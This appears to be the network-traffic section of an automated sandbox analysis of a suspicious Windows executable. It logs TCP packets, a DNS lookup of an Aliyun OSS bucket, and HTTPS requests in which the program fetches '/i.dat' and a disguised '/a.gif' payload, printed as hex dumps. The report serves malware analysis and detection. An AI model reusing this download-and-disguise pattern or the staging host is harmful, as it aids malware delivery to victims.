Jan 7, 2025 04:15:42.635994911 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:42.636008978 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:42.636044025 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:42.636049032 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:42.636132956 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:42.636141062 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:42.636166096 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:42.636169910 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:42.636187077 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:42.636192083 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:42.636328936 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:42.636380911 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:42.636389017 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:42.636436939 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:42.847332954 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:42.847388983 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:43.027218103 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:43.027245045 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:43.027260065 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:43.027440071 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:43.047110081 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:43.047125101 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:43.047137976 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:43.047142982 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:43.047717094 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:43.047727108 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:43.047745943 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:43.047763109 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:43.047955036 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:43.047955036 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:43.047964096 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:43.047991991 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:43.048326969 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:43.227267027 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:43.227292061 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:43.228239059 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:43.255218983 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:43.255244970 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:43.255259037 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:43.255279064 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:43.255292892 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:43.255523920 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:43.255534887 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:43.255570889 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:43.259265900 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:43.259280920 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:43.263134003 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:43.455365896 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:43.455394030 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:43.455552101 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:43.485917091 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:43.485930920 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:43.485943079 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:43.485959053 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:43.485981941 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:43.485996008 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:43.486047029 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:43.486056089 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:43.486167908 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:43.486273050 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:43.486273050 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:43.691338062 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:43.695791006 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:43.734791994 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:43.734802008 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:43.734812975 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:43.734895945 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:43.767601967 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:43.767611027 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:43.767623901 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:43.767635107 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:43.767731905 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:43.767740965 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:43.767752886 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:43.767771959 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:43.767776966 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:43.767793894 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:43.767853975 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:43.767858028 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:43.767875910 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:43.767891884 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:43.767891884 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:43.767898083 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:43.767939091 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:43.767998934 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:43.975337029 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:43.975483894 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:44.053200006 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:44.053210974 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:44.053312063 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:44.090131044 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:44.090137959 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:44.090150118 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:44.090176105 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:44.090183973 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:44.090220928 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:44.090228081 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:44.090347052 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:44.090353966 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:44.090361118 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:44.090388060 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:44.090394020 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:44.090415001 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:44.090476036 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:44.090533018 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:44.299329042 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:44.299395084 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:44.379218102 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:44.379229069 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:44.379334927 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:44.420080900 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:44.420089960 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:44.420101881 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:44.420115948 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:44.420121908 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:44.420165062 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:44.420171022 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:44.420275927 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:44.420283079 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:44.420293093 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:44.420315027 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:44.420320988 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:44.420409918 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:44.420474052 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:44.627335072 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:44.627430916 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:44.723856926 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:44.723886013 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:44.723908901 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:44.723927975 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:44.723932981 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:44.724050999 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:44.724060059 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:44.724081993 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:44.724121094 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:44.724128008 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:44.724220991 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:44.724281073 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:44.931333065 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:44.931375027 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:45.114193916 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:45.114207983 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:45.114223957 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:45.114239931 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:45.114244938 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:45.114327908 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:45.114335060 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:45.114474058 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:45.114484072 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:45.114516973 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:45.114572048 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:45.114603043 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:45.524204969 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:46.356285095 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:46.356328964 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:46.543457985 CET	49713	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:46.543509960 CET	443	49713	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:46.543626070 CET	49713	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:46.543857098 CET	49713	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:46.543875933 CET	443	49713	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:47.758546114 CET	443	49713	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:47.758624077 CET	49713	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:47.759099960 CET	49713	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:47.759105921 CET	443	49713	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:47.759392977 CET	49713	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:47.759397984 CET	443	49713	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:48.102488041 CET	443	49713	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:48.102509022 CET	443	49713	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:48.102595091 CET	49713	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:48.102619886 CET	443	49713	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:48.102663994 CET	49713	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:48.103157997 CET	443	49713	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:48.103215933 CET	49713	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:48.104279041 CET	443	49713	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:48.104355097 CET	49713	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:48.108228922 CET	443	49713	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:48.108305931 CET	49713	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:48.189912081 CET	443	49713	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:48.190017939 CET	49713	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:48.190283060 CET	443	49713	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:48.190352917 CET	49713	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:48.190521955 CET	443	49713	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:48.190582037 CET	49713	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:48.190587997 CET	443	49713	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:48.190635920 CET	49713	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:48.190639019 CET	443	49713	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:48.190684080 CET	49713	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:48.190767050 CET	49713	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:48.190779924 CET	443	49713	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:48.204998016 CET	49714	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:48.205018997 CET	443	49714	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:48.205104113 CET	49714	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:48.205292940 CET	49714	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:48.205301046 CET	443	49714	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:49.431031942 CET	443	49714	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:49.431165934 CET	49714	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:49.431648016 CET	49714	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:49.431654930 CET	443	49714	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:49.431875944 CET	49714	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:49.431881905 CET	443	49714	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:49.759516954 CET	443	49714	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:49.759542942 CET	443	49714	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:49.759629011 CET	49714	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:49.759654999 CET	443	49714	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:49.759670019 CET	49714	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:49.759705067 CET	49714	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:49.759763956 CET	443	49714	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:49.759816885 CET	49714	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:49.759824038 CET	443	49714	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:49.759880066 CET	49714	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:49.760234118 CET	443	49714	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:49.760282040 CET	49714	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:49.760302067 CET	443	49714	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:49.760351896 CET	49714	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:49.762985945 CET	49714	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:49.763003111 CET	443	49714	39.103.20.48	192.168.2.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 7, 2025 04:15:30.283509970 CET	53903	53	192.168.2.8	1.1.1.1
Jan 7, 2025 04:15:31.088064909 CET	53	53903	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 7, 2025 04:15:30.283509970 CET	192.168.2.8	1.1.1.1	0xff94	Standard query (0)	jylhok.oss-cn-beijing.aliyuncs.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 7, 2025 04:15:31.088064909 CET	1.1.1.1	192.168.2.8	0xff94	No error (0)	jylhok.oss-cn-beijing.aliyuncs.com	sc-2a1c.cn-beijing.oss-adns.aliyuncs.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 7, 2025 04:15:31.088064909 CET	1.1.1.1	192.168.2.8	0xff94	No error (0)	sc-2a1c.cn-beijing.oss-adns.aliyuncs.com	sc-2a1c.cn-beijing.oss-adns.aliyuncs.com.gds.alibabadns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 7, 2025 04:15:31.088064909 CET	1.1.1.1	192.168.2.8	0xff94	No error (0)	sc-2a1c.cn-beijing.oss-adns.aliyuncs.com.gds.alibabadns.com		39.103.20.48	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

jylhok.oss-cn-beijing.aliyuncs.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49708	39.103.20.48	443	7668	C:\Users\user\Desktop\287438657364-7643738421.08.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 03:15:32 UTC	111	OUT	GET /i.dat HTTP/1.1 User-Agent: GetData Host: jylhok.oss-cn-beijing.aliyuncs.com Cache-Control: no-cache
2025-01-07 03:15:32 UTC	557	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Tue, 07 Jan 2025 03:15:32 GMT Content-Type: application/octet-stream Content-Length: 512 Connection: close x-oss-request-id: 677C9C5434D7B33034829C2B Accept-Ranges: bytes ETag: "6FE90B6ABE6C4D1079B730F10120B3D1" Last-Modified: Mon, 06 Jan 2025 09:25:58 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 6796293658323038043 x-oss-storage-class: Standard x-oss-ec: 0048-00000113 Content-Disposition: attachment x-oss-force-download: true Content-MD5: b+kLar5sTRB5tzDxASCz0Q== x-oss-server-time: 2
2025-01-07 03:15:32 UTC	512	IN	Data Raw: 07 1b 1b 1f 6c 25 30 30 5a 49 5c 58 37 33 76 37 44 44 1a 54 3a 79 36 31 58 5b 58 5f 38 71 3e 33 5a 4a 46 5d 3e 2e 73 3e 51 53 11 5f 71 38 36 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 51 4d 4d 49 3a 73 66 66 0c 1f 0a 0e 61 65 20 61 12 12 4c 02 6c 2f 60 67 0e 0d 0e 09 6e 27 68 65 0c 1c 10 0b 68 78 25 68 07 05 47 0a 24 6d 63 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 04 18 18 1c 6f 26 33 33 59 4a 5f 5b 34 30 75 34 47 47 19 57 39 7a 35 32 5b 58 5b 5c 3b 72 3d 30 59 49 45 5e 3d 2d 70 3d 52 50 12 5e 70 39 37 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 50 4c 4c 48 3b 72 67 67 0d 1e 0b 0f 60 64 21 Data Ascii: l%00ZI\X73v7DDT:y61X[X_8q>3ZJF]>.s>QS_q86999999999999999999999999999999999QMMI:sffae aLl/`gn'hehx%hG$mclllllllllllllllllllllllllllllllllo&33YJ_[40u4GGW9z52[X[\;r=0YIE^=-p=RP^p97888888888888888888888888888888888PLLH;rgg`d!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49709	39.103.20.48	443	7668	C:\Users\user\Desktop\287438657364-7643738421.08.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 03:15:34 UTC	111	OUT	GET /a.gif HTTP/1.1 User-Agent: GetData Host: jylhok.oss-cn-beijing.aliyuncs.com Cache-Control: no-cache
2025-01-07 03:15:34 UTC	546	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Tue, 07 Jan 2025 03:15:34 GMT Content-Type: image/gif Content-Length: 135589 Connection: close x-oss-request-id: 677C9C561F7AD933366386E7 Accept-Ranges: bytes ETag: "0DDD3F02B74B01D739C45956D8FD12B7" Last-Modified: Mon, 06 Jan 2025 08:35:20 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 8642451798640735006 x-oss-storage-class: Standard x-oss-ec: 0048-00000104 Content-Disposition: attachment x-oss-force-download: true Content-MD5: Dd0/ArdLAdc5xFlW2P0Stw== x-oss-server-time: 14
2025-01-07 03:15:34 UTC	3550	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 00 00 00 02 00 08 03 00 00 00 c3 a6 24 c8 00 00 01 da 50 4c 54 45 00 00 00 f7 cd 48 f0 d2 4b f5 cd 46 0f a5 f0 f7 ce 47 f7 cd 48 f7 cc 47 f7 cd 48 f7 cd 48 f5 cd 44 f6 ce 49 f6 cd 47 f6 cd 47 66 c9 46 66 c9 48 66 c9 46 66 ca 45 f6 cd 48 f6 cc 48 f7 cc 48 f6 cc 48 f6 cd 48 0f a0 eb 12 a2 ea f8 cd 48 11 a2 e9 10 a1 e9 f7 cd 48 f6 cd 47 10 a2 ea 11 a1 ea f6 cd 47 11 a2 eb 10 a1 ea 12 a1 e8 0f a5 e8 10 a2 ea 11 a2 e9 f6 cc 47 ff da 48 11 a1 e9 11 a2 e9 00 99 ff 11 a1 e9 10 a2 ea 11 a1 e9 10 a3 ea 11 a1 e9 00 bf ff 00 aa ff 11 a2 e9 00 91 da 11 a0 e7 10 a2 ea 10 a1 e9 10 a2 eb 11 a1 e9 11 a2 ea 11 a1 e9 10 a2 e9 0f 9f ef 10 a2 e9 10 a2 ea 13 a6 eb 10 a1 ea 10 a1 e9 1f 9f df 11 a1 e9 11 a4 e8 10 a1 e9 10 Data Ascii: PNGIHDR$PLTEHKFGHGHHDIGGfFfHfFfEHHHHHHHGGGH
2025-01-07 03:15:34 UTC	4096	IN	Data Raw: 92 94 95 15 58 67 66 8f 0d ac 9c 9e d7 25 61 ea 28 7c d1 e2 ef 25 bc 8d ce ad ad e6 24 78 4e a7 6d 84 b4 b6 ff 3d 79 ce ae f0 30 fa 9b e0 89 4f 97 e0 f5 8e 4a c5 b1 9a ca cc 32 1e 44 28 99 59 18 2b c0 75 e7 d9 d9 59 24 df a8 d2 97 6d ad c6 d3 0c 89 da e7 e8 02 e8 d8 2c a5 6b 2f b8 7a 4e d7 b4 f7 f6 f7 b0 72 66 df ac ff fe ff 48 88 07 bd b1 04 06 08 8c db 0a 0b 0c 45 83 1a 91 41 13 13 5c 9e de e8 0d 61 2a 1a 1c 55 95 12 81 94 23 23 6c a8 33 5d 78 28 2a 63 a5 28 4d 9a 31 31 cd 26 69 05 37 37 70 b2 37 bd 89 3c 3e 77 cd 54 35 13 45 45 0e ce 4d 39 ff 4a 4c b2 5b 0d 60 50 52 1b df 58 3d e2 59 59 12 d6 49 39 0e 5e 60 29 eb 66 89 d1 67 67 97 7c 4d 5b 6d 6d 26 e4 7d 21 c7 72 74 3d fb 62 21 29 7b 7b 34 f4 7b 65 35 80 82 7c 91 89 b6 86 88 c1 01 86 b9 38 8f 8f d8 1c Data Ascii: Xgf%a(\|%$xNm=y0OJ2D(Y+uY$m,k/zNrfHEA\aU##l3]x(c(M11&i77p7<>wT5EEM9JL[`PRX=YYI9^`)fgg\|M[mm&}!rt=b!){{4{e5\|8
2025-01-07 03:15:34 UTC	4096	IN	Data Raw: 6c 81 49 b6 96 98 1c 6c ee db d5 13 d3 84 f1 5d b6 e1 84 a7 a7 2b 69 ab e7 cf 4d e3 ac 54 4e a7 ed 94 b4 b6 fa 33 7d f2 30 74 8e 6c 40 d5 d9 e2 c2 c4 8d 43 07 80 42 22 bf df 85 43 9b f4 81 9f 58 10 9d 5d 1f 30 41 ec db dc 91 55 32 ac 68 89 d3 6f e0 e9 41 e9 e9 a2 66 e1 81 4b ee f0 ca 0c 7a b7 c9 f9 b8 06 06 ef 75 dc fc fe b7 8b 0c 95 97 05 05 4a 8c a4 2d 7a 03 0c 0d 42 84 b4 35 6a 1b 14 15 5e 94 e1 e6 52 90 b0 39 86 17 20 21 57 69 6c ae 23 a5 8d 28 2a 67 a7 20 5d 8a 31 31 7e b8 31 61 93 36 38 b2 2f 4d 99 3c 3e 86 41 41 42 43 08 cc 32 63 60 01 c3 0f 68 6d b1 5a 51 f4 53 53 1c de 5b 15 cc 58 5a de 9c d6 ae 16 6f 29 ad e6 a4 2d ef 6a 59 fd 6b 6b 14 73 22 e2 3c 55 4e 36 47 b5 cc f9 6b 79 7a 33 bb 39 5a 5f 84 81 82 83 7b 90 cd 22 89 89 01 7b c4 00 83 45 34 90 Data Ascii: lIl]+iMTN3}0tl@CB"CX]0AU2hoAfKzuJ-zB5j^R9 !Wil#(*g ]11~1a68/M<>AABC2c`hmZQSS[XZo)-jYkks"<UN6Gkyz39Z_{"{E4
2025-01-07 03:15:34 UTC	4096	IN	Data Raw: 75 9b 94 96 df 13 d5 be cb 63 88 7d 90 a1 a1 ea 2e a9 c1 30 a6 a8 56 bf 6d bc ac ae 2a 4f c9 af 32 4f 3f a5 b7 b8 cd af 3a 47 36 ad bf c0 b5 cf 8b 4f 10 7f c7 cc c9 ca 23 79 3b 31 30 5b 16 9a 58 68 f1 76 d7 d8 d9 92 58 18 bd 9f 82 a1 bd bc be bf 26 2a 2b 24 25 26 27 20 21 22 23 3c 3d 3e 3f 38 bd 7f ab dc e9 b2 72 90 d9 e6 a8 48 82 ee 33 8f c4 4f 8c d0 41 81 f1 8f e5 0a 84 f9 1e 96 c1 14 15 16 94 e0 18 15 9f b1 1d 1e 1f 68 ac 2f 15 b1 24 26 6f a1 5d 0e 6b d3 38 75 3f 31 31 7a b8 39 51 b2 36 38 71 b9 c2 c3 48 6b 73 cb 4c 1d d6 45 45 0a cc 4d 09 df 4a 4c c6 5b 2d c5 50 52 1b d9 50 15 d3 59 59 e3 5a 5c 5d 5e 17 e9 25 46 4b 2c ee 63 25 fd 68 6a 23 e5 29 4a 4f 8f 64 ad e7 75 75 3e fc 75 59 fe 7a 7c f6 8e 37 03 49 7d 06 72 cd 89 cf 40 0c 7c c3 05 80 85 0b 91 91 